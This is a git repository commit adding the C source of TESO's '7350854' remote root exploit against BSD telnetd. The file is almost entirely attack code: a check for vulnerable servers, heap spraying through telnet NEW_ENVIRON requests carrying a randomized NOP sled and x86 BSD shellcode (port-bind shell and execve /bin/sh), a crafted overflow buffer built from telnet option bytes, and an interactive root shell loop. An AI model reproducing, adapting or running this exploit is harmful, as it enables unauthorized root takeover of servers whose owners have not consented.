summaryrefslogtreecommitdiff
path: root/exploits/7350855/7350855_exploit.c
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350855/7350855_exploit.c
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350855/7350855_exploit.c')
-rw-r--r--exploits/7350855/7350855_exploit.c877
1 files changed, 877 insertions, 0 deletions
diff --git a/exploits/7350855/7350855_exploit.c b/exploits/7350855/7350855_exploit.c
new file mode 100644
index 0000000..95dd740
--- /dev/null
+++ b/exploits/7350855/7350855_exploit.c
@@ -0,0 +1,877 @@
1/* 7350854 - x86/bsd telnetd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * (C) COPYRIGHT TESO Security, 2001
14 * All Rights Reserved
15 *
16 *****************************************************************************
17 * bug found by scut 2001/06/09
18 * further research by smiler, zip, lorian and me.
19 * thanks to zip's cool friend for giving me a testbed to play on
20 *
21 * tested against: BSDI BSD/OS 4.1
22 * NetBSD 1.5
23 * FreeBSD 3.1
24 * FreeBSD 4.0-REL
25 * FreeBSD 4.2-REL
26 * FreeBSD 4.3-BETA
27 * FreeBSD 4.3-STABLE
28 * FreeBSD 4.3-RELEASE
29 *
30 */
31
32#define VERSION "0.0.7"
33
34#include <sys/types.h>
35#include <sys/time.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38#include <arpa/inet.h>
39#include <arpa/telnet.h>
40#include <netdb.h>
41#include <errno.h>
42#include <fcntl.h>
43#include <unistd.h>
44#include <stdio.h>
45#include <stdlib.h>
46#include <string.h>
47#include <time.h>
48
49
50/* global variables, uhhohh!
51 */
52int mode = 16;
53int num = 245;
54int pop = 31500; /* puts code at 0x08fdff0a */
55int bs = 1; /* buffer start */
56
57int num34 = 244;
58int pop34 = 71833; /* puts code at 0x0a0d08fe */
59int bs34 = 0;
60
61int walk; /* populator walker */
62int force = 0; /* force exploitation */
63int checkonly = 0; /* check telnetd only */
64
65
66void usage (char *progname);
67int xp_check (int fd);
68void xp_pop (int fd);
69void xp_shrinkwin (int fd);
70void xp_setenv (int fd, unsigned char *var, unsigned char *val);
71void xp (int fd);
72void shell (int sock);
73void hexdump (char *desc, unsigned char *data, unsigned int amount);
74
75/* imported from shellkit */
76unsigned long int random_get (unsigned long int low, unsigned long int high);
77void random_init (void);
78int bad (unsigned char u);
79int badstr (unsigned char *code, int code_len, unsigned char *bad,
80 int bad_len);
81unsigned long int x86_nop_rwreg (void);
82unsigned long int x86_nop_xfer (char *xferstr);
83unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
84 unsigned char *bad, int bad_len);
85
86#define BSET(dest, len, val, bw) { \
87 dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
88 dest |= val << (8 - bw - len); /* set value bits */ \
89 bw += len; \
90}
91
92/* imported from network.c */
93#define NET_CONNTIMEOUT 60
94int net_conntimeout = NET_CONNTIMEOUT;
95
96unsigned long int net_resolve (char *host);
97int net_connect (struct sockaddr_in *cs, char *server,
98 unsigned short int port, int sec);
99
100
101/* x86/bsd PIC portshell shellcode
102 * by lorian/teso
103 * port 0x4444 (might want to change it here)
104 */
105unsigned char x86_bsd_portshell[] =
106 "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
107 "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
108 /* ^^ ^^ port */
109 "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
110 "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
111 "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
112 "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
113 "\x80";
114
115/* x86/bsd PIC execve shellcode
116 * by lorian/teso
117 */
118unsigned char x86_bsd_execvesh[] =
119 "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
120 "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
121
122/* x86/bsd(i)+solaris execve shellcode
123 * by lorian/teso
124 */
125unsigned char x86_bsd_compaexec[] =
126 "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
127 "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
128 "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
129 "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
130
131
132unsigned char * shellcode = x86_bsd_compaexec;
133
134
135#define COL 55
136
137
138void
139usage (char *progname)
140{
141 fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
142 fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
143 "-c\tcheck exploitability only, do not exploit\n"
144 "-f\tforce mode, override check results\n\n");
145 fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
146 "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
147 "take that, or it will take very long for it (> 1h). beware.\n\n");
148
149 fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
150 "\tNetBSD 1.5\n"
151 "\tBSDI BSD/OS 4.1\n\n");
152
153 exit (EXIT_FAILURE);
154}
155
156int
157main (int argc, char *argv[])
158{
159 char c;
160 char * progname;
161 char * dest;
162 int i, j, fd,
163 dots = 0;
164 int popc;
165 struct timeval start,
166 cur;
167 unsigned long long int g_pct, /* gaussian percentage */
168 g_all; /* gaussian overall */
169
170
171 fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
172 "by zip, lorian, smiler and scut.\n\n");
173
174 progname = argv[0];
175 if (argc < 2)
176 usage (progname);
177
178
179 while ((c = getopt (argc, argv, "n:cf")) != EOF) {
180 switch (c) {
181 case 'n':
182 num = atoi (optarg);
183 break;
184 case 'c':
185 checkonly = 1;
186 break;
187 case 'f':
188 force = 1;
189 break;
190 default:
191 usage (progname);
192 break;
193 }
194 }
195
196 dest = argv[argc - 1];
197 if (dest[0] == '-')
198 usage (progname);
199
200 fd = net_connect (NULL, dest, 23, 20);
201 if (fd <= 0) {
202 fprintf (stderr, "failed to connect\n");
203 exit (EXIT_FAILURE);
204 }
205
206 random_init ();
207
208 if (xp_check (fd) == 0 && force == 0) {
209 printf ("aborting\n");
210#ifndef DEBUG
211 exit (EXIT_FAILURE);
212#endif
213 }
214 close (fd);
215
216 if (checkonly)
217 exit (EXIT_SUCCESS);
218
219 fd = net_connect (NULL, dest, 23, 20);
220 if (fd <= 0) {
221 fprintf (stderr, "failed to connect the second time\n");
222 exit (EXIT_FAILURE);
223 }
224
225 printf ("\n#############################################################################\n\n");
226 printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
227 "telnet daemon process, it will spill badly. but then, there is no\n"
228 "other way, sorry...\n\n", mode);
229
230#ifdef DEBUG
231 getchar ();
232#endif
233 printf ("## setting populators to populate heap address space\n");
234
235 g_all = ((unsigned long long int)(pop / 2)) *
236 ((unsigned long long int)(pop + 1));
237 g_pct = 0;
238
239 printf ("## number of setenvs (dots / network): %d\n", pop);
240 printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
241 printf ("##\n");
242 printf ("## the percentage is more realistic than the dots ;)\n");
243 printf ("\n");
244 printf ("percent |");
245
246 popc = pop / COL;
247 for (i = pop / popc ; i >= 0 ; --i)
248 printf ("-");
249 printf ("| ETA |\n");
250
251 gettimeofday (&start, NULL);
252
253 for (walk = 0 ; walk < pop ; ++walk) {
254 xp_pop (fd);
255
256 g_pct += walk;
257
258 if (walk % popc == 0)
259 dots += 1;
260
261 if (walk % 200 == 0) {
262 int pct;
263 float pct_f;
264 unsigned long int diff;
265
266 pct = (int) ((g_pct * 100) / g_all);
267 pct_f = g_pct * 100;
268 pct_f /= (float) g_all;
269
270 /* calculate difference not caring about accuracy */
271 gettimeofday (&cur, NULL);
272 diff = cur.tv_sec - start.tv_sec;
273
274 printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
275 "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
276 for (j = 0 ; j < dots ; ++j)
277 printf (".");
278 for ( ; j <= COL ; ++j)
279 printf (" ");
280
281 if (pct != 0) {
282 diff = (int) ((((float)(100 - pct_f)) /
283 (float) pct_f) * diff);
284 printf ("| %02lu:%02lu:%02lu |",
285 diff / 3600, (diff % 3600) / 60,
286 diff % 60);
287 } else {
288 printf ("| --:--:-- |");
289 }
290
291 fflush (stdout);
292 }
293 }
294 printf ("\n\n");
295
296 printf ("## sleeping for 10 seconds to let the process recover\n");
297 sleep (10);
298
299#ifdef DEBUG
300 getchar ();
301#endif
302 /* return into 0x08feff0a */
303 xp (fd);
304 sleep (1);
305
306 printf ("## ok, you should now have a root shell\n");
307 printf ("## as always, after hard times, there is a reward...\n");
308 printf ("\n\ncommand: ");
309 fflush (stdout);
310
311 shell (fd);
312
313 exit (EXIT_SUCCESS);
314}
315
316
317void
318xp (int fd)
319{
320 int n;
321 unsigned char buf[2048];
322
323
324 /* basic overflow */
325 for (n = bs ; n < sizeof (buf) ; ++n)
326 buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
327
328 /* some nifty alignment */
329 buf[0] = '\xff'; /* IAC */
330 buf[1] = '\xf5'; /* AO */
331
332 if (mode == 16) {
333 buf[2] = '\xff'; /* IAC */
334 buf[3] = '\xfb'; /* WILL */
335 buf[4] = '\x26'; /* ENCRYPTION */
336 }
337
338 /* force 0x08feff0a as return */
339 buf[num++] = '\xff';
340 buf[num++] = '\xfb';
341 buf[num++] = '\x08';
342
343 /* and the output_encrypt overwrite action, yay! */
344 buf[num++] = '\xff';
345 buf[num++] = '\xf6';
346
347 /* XXX: should not fail here, though we should better loop and check */
348 n = send (fd, buf, num, 0);
349 if (n != num) {
350 perror ("xp:send");
351 }
352}
353
354
355#ifdef INSANE_MIND
356
357void
358xp_shrinkwin (int fd)
359{
360 int n;
361 int iobc;
362 int p = 0;
363 unsigned char buf[2048];
364 char c;
365 int val;
366 int len;
367
368 for (n = 0 ; n < sizeof (buf) ; ++n)
369 buf[n] = n % 2 ? '\xf6' : '\xff';
370
371 len = sizeof (val);
372 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
373 printf ("SO_SNDLOWAT = %d\n", val);
374 val = 1;
375 printf ("setsockopt: %s\n",
376 setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
377 "FAILED" : "SUCCESS");
378 val = 1234;
379 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
380 printf ("SO_SNDLOWAT = %d\n", val);
381
382 getchar();
383 while (1) {
384 if (p > 105)
385 c = getchar();
386 if (c == 'r') {
387 getchar();
388 read (fd, &buf[1024], 384);
389 } else if (c == 'o') {
390 getchar();
391 send (fd, "7", 1, MSG_OOB);
392 } else if (c != 'r') {
393 usleep(100000);
394 n = send (fd, buf, 112, 0);
395 ioctl (fd, FIONREAD, &iobc);
396 len = sizeof (val);
397 getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
398 printf ("%02d. send: %d local: %d/%d (%d left)\n",
399 ++p, n, iobc, val, val - iobc);
400 }
401 }
402}
403#endif
404
405
406/* xp_pop - populator function
407 *
408 * causes remote telnet daemon to setenv() variables with our content, populating
409 * the heap with shellcode. this will get us more nopspace and place our shellcode
410 * where the nice addresses are, that we can create by writing telnet option
411 * strings.
412 *
413 * XXX: there seems to be a maximum size for the environment value you can set,
414 * which is 510. we use 496 bytes for nopspace and shellcode therefore.
415 * should work, rather similar to tsig tcp/malloc exploitation. -sc
416 */
417
418void
419xp_pop (int fd)
420{
421 unsigned char var[16];
422 unsigned char storebuf[496];
423 sprintf (var, "%06x", walk);
424#ifdef DEBUG
425 memset (storebuf, '\xcc', sizeof (storebuf));
426#else
427/* memset (storebuf, '\x90', sizeof (storebuf)); */
428 x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
429 memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
430 shellcode, strlen (shellcode));
431#endif
432 storebuf[sizeof (storebuf) - 1] = '\0';
433
434 xp_setenv (fd, var, storebuf);
435}
436
437
438void
439xp_setenv (int fd, unsigned char *var, unsigned char *val)
440{
441 int n = 0;
442 unsigned char buf[2048];
443
444 buf[n++] = IAC;
445 buf[n++] = SB;
446 buf[n++] = TELOPT_NEW_ENVIRON;
447 buf[n++] = TELQUAL_IS;
448 buf[n++] = ENV_USERVAR;
449
450 /* should not contain < 0x04 */
451 while (*var) {
452 if (*var == IAC)
453 buf[n++] = *var;
454 buf[n++] = *var++;
455 }
456 buf[n++] = NEW_ENV_VALUE;
457 while (*val) {
458 if (*val == IAC)
459 buf[n++] = *val;
460 buf[n++] = *val++;
461 }
462 buf[n++] = IAC;
463 buf[n++] = SE;
464
465 if (send (fd, buf, n, 0) != n) {
466 perror ("xp_setenv:send");
467 exit (EXIT_FAILURE);
468 }
469}
470
471
472int
473xp_check (int fd)
474{
475 int n;
476 unsigned int expect_len = 15;
477 unsigned char expected[] =
478 "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
479 /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
480 unsigned int additional_len = 8;
481 unsigned char additional[] =
482 "\xff\xfa\x26\x01\x01\x02\xff\xf0";
483 /*IAC SB ENC ........... IAC SE */
484
485 unsigned char buf[128];
486
487 read (fd, buf, sizeof (buf));
488
489 n = 0;
490 buf[n++] = IAC; /* 0xff */
491 buf[n++] = AYT; /* 0xf6 */
492
493 buf[n++] = IAC; /* 0xff */
494 buf[n++] = WILL; /* 0xfb */
495 buf[n++] = TELOPT_NAOL; /* 0x08 */
496
497 buf[n++] = IAC; /* 0xff */
498 buf[n++] = WILL; /* 0xfb */
499 buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
500
501#ifdef DEBUG
502 hexdump ("check send buffer", buf, n);
503#endif
504 if (send (fd, buf, n, 0) != n) {
505 perror ("xp_check:send");
506 exit (EXIT_FAILURE);
507 }
508
509 n = read (fd, buf, sizeof (buf));
510#ifdef DEBUG
511 hexdump ("check recv buffer", buf, n);
512#endif
513
514 if (memcmp (buf, expected, expect_len) == 0) {
515 if (memcmp (buf+expect_len, additional, additional_len) == 0) {
516 mode = 16;
517 } else {
518 mode = 34;
519 bs = bs34;
520 }
521 printf ("check: PASSED, using %dmb mode\n", mode);
522
523 return (1);
524 }
525
526 printf ("check: FAILED\n");
527
528 return (0);
529}
530
531
532void
533shell (int sock)
534{
535 int l;
536 char buf[512];
537 fd_set rfds;
538
539
540 while (1) {
541 FD_SET (0, &rfds);
542 FD_SET (sock, &rfds);
543
544 select (sock + 1, &rfds, NULL, NULL, NULL);
545 if (FD_ISSET (0, &rfds)) {
546 l = read (0, buf, sizeof (buf));
547 if (l <= 0) {
548 perror ("read user");
549 exit (EXIT_FAILURE);
550 }
551 write (sock, buf, l);
552 }
553
554 if (FD_ISSET (sock, &rfds)) {
555 l = read (sock, buf, sizeof (buf));
556 if (l <= 0) {
557 perror ("read remote");
558 exit (EXIT_FAILURE);
559 }
560 write (1, buf, l);
561 }
562 }
563}
564
565
566/* ripped from zodiac */
567void
568hexdump (char *desc, unsigned char *data, unsigned int amount)
569{
570 unsigned int dp, p; /* data pointer */
571 const char trans[] =
572 "................................ !\"#$%&'()*+,-./0123456789"
573 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
574 "nopqrstuvwxyz{|}~...................................."
575 "....................................................."
576 "........................................";
577
578
579 printf ("/* %s, %u bytes */\n", desc, amount);
580
581 for (dp = 1; dp <= amount; dp++) {
582 fprintf (stderr, "%02x ", data[dp-1]);
583 if ((dp % 8) == 0)
584 fprintf (stderr, " ");
585 if ((dp % 16) == 0) {
586 fprintf (stderr, "| ");
587 p = dp;
588 for (dp -= 16; dp < p; dp++)
589 fprintf (stderr, "%c", trans[data[dp]]);
590 fflush (stderr);
591 fprintf (stderr, "\n");
592 }
593 fflush (stderr);
594 }
595 if ((amount % 16) != 0) {
596 p = dp = 16 - (amount % 16);
597 for (dp = p; dp > 0; dp--) {
598 fprintf (stderr, " ");
599 if (((dp % 8) == 0) && (p != 8))
600 fprintf (stderr, " ");
601 fflush (stderr);
602 }
603 fprintf (stderr, " | ");
604 for (dp = (amount - (16 - p)); dp < amount; dp++)
605 fprintf (stderr, "%c", trans[data[dp]]);
606 fflush (stderr);
607 }
608 fprintf (stderr, "\n");
609
610 return;
611}
612
613
614
615unsigned long int
616net_resolve (char *host)
617{
618 long i;
619 struct hostent *he;
620
621 i = inet_addr(host);
622 if (i == -1) {
623 he = gethostbyname(host);
624 if (he == NULL) {
625 return (0);
626 } else {
627 return (*(unsigned long *) he->h_addr);
628 }
629 }
630 return (i);
631}
632
633
634int
635net_connect (struct sockaddr_in *cs, char *server,
636 unsigned short int port, int sec)
637{
638 int n,
639 len,
640 error,
641 flags;
642 int fd;
643 struct timeval tv;
644 fd_set rset, wset;
645 struct sockaddr_in csa;
646
647 if (cs == NULL)
648 cs = &csa;
649
650 /* first allocate a socket */
651 cs->sin_family = AF_INET;
652 cs->sin_port = htons (port);
653 fd = socket (cs->sin_family, SOCK_STREAM, 0);
654 if (fd == -1)
655 return (-1);
656
657 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
658 close (fd);
659 return (-1);
660 }
661
662 flags = fcntl (fd, F_GETFL, 0);
663 if (flags == -1) {
664 close (fd);
665 return (-1);
666 }
667 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
668 if (n == -1) {
669 close (fd);
670 return (-1);
671 }
672
673 error = 0;
674
675 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
676 if (n < 0) {
677 if (errno != EINPROGRESS) {
678 close (fd);
679 return (-1);
680 }
681 }
682 if (n == 0)
683 goto done;
684
685 FD_ZERO(&rset);
686 FD_ZERO(&wset);
687 FD_SET(fd, &rset);
688 FD_SET(fd, &wset);
689 tv.tv_sec = sec;
690 tv.tv_usec = 0;
691
692 n = select(fd + 1, &rset, &wset, NULL, &tv);
693 if (n == 0) {
694 close(fd);
695 errno = ETIMEDOUT;
696 return (-1);
697 }
698 if (n == -1)
699 return (-1);
700
701 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
702 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
703 len = sizeof(error);
704 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
705 errno = ETIMEDOUT;
706 return (-1);
707 }
708 if (error == 0) {
709 goto done;
710 } else {
711 errno = error;
712 return (-1);
713 }
714 }
715 } else
716 return (-1);
717
718done:
719 n = fcntl(fd, F_SETFL, flags);
720 if (n == -1)
721 return (-1);
722 return (fd);
723}
724
725
726/* imported from shellkit */
727
728unsigned long int
729random_get (unsigned long int low, unsigned long int high)
730{
731 unsigned long int val;
732
733 if (low > high) {
734 low ^= high;
735 high ^= low;
736 low ^= high;
737 }
738
739 val = (unsigned long int) random ();
740 val %= (high - low);
741 val += low;
742
743 return (val);
744}
745
746
747void
748random_init (void)
749{
750 srandom (time (NULL));
751}
752
753
754int
755bad (unsigned char u)
756{
757 if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
758 return (1);
759
760 return (0);
761}
762
763int
764badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
765{
766 int n;
767
768 for (code_len -= 1 ; code_len >= 0 ; --code_len) {
769 for (n = 0 ; n < bad_len ; ++n)
770 if (code[code_len] == bad[n])
771 return (1);
772 }
773
774 return (0);
775}
776
777unsigned long int
778x86_nop_rwreg (void)
779{
780 unsigned long int reg;
781
782 do {
783 reg = random_get (0, 7);
784 } while (reg == 4); /* 4 = $esp */
785
786 return (reg);
787}
788
789
790
791unsigned long int
792x86_nop_xfer (char *xferstr)
793{
794 int bw = 0; /* bitfield walker */
795 unsigned char tgt; /* resulting instruction */
796
797 /* in a valid xferstr we trust */
798 for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
799 switch (xferstr[0]) {
800 case ('0'):
801 BSET (tgt, 1, 0, bw);
802 break;
803 case ('1'):
804 BSET (tgt, 1, 1, bw);
805 break;
806 case ('r'):
807 BSET (tgt, 3, x86_nop_rwreg (), bw);
808 break;
809 case ('.'):
810 break; /* ignore */
811 default:
812 fprintf (stderr, "on steroids, huh?\n");
813 exit (EXIT_FAILURE);
814 break;
815 }
816 }
817
818 if (bw != 8) {
819 fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
820 exit (EXIT_FAILURE);
821 }
822
823 return (tgt);
824}
825
826
827unsigned int
828x86_nop (unsigned char *dest, unsigned int dest_len,
829 unsigned char *bad, int bad_len)
830{
831 int walk;
832 int bcount; /* bad counter */
833 char * xs;
834 char * xferstr[] = {
835 "0011.0111", /* aaa */
836 "0011.1111", /* aas */
837 "1001.1000", /* cbw */
838 "1001.1001", /* cdq */
839 "1111.1000", /* clc */
840 "1111.1100", /* cld */
841 "1111.0101", /* cmc */
842 "0010.0111", /* daa */
843 "0010.1111", /* das */
844 "0100.1r", /* dec <reg> */
845 "0100.0r", /* inc <reg> */
846 "1001.1111", /* lahf */
847 "1001.0000", /* nop */
848 "1111.1001", /* stc */
849 "1111.1101", /* std */
850 "1001.0r", /* xchg al, <reg> */
851 NULL,
852 };
853 unsigned char tgt;
854
855
856 for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
857 /* avoid endless loops on excessive badlisting */
858 for (bcount = 0 ; bcount < 16384 ; ++bcount) {
859 xs = xferstr[random_get (0, 15)];
860 tgt = x86_nop_xfer (xs);
861
862 dest[walk] = tgt;
863 if (badstr (&dest[walk], 1, bad, bad_len) == 0)
864 break;
865 }
866
867 /* should not happen */
868 if (bcount >= 16384) {
869 fprintf (stderr, "too much blacklisting, giving up...\n");
870 exit (EXIT_FAILURE);
871 }
872 }
873
874 return (walk);
875}
876
877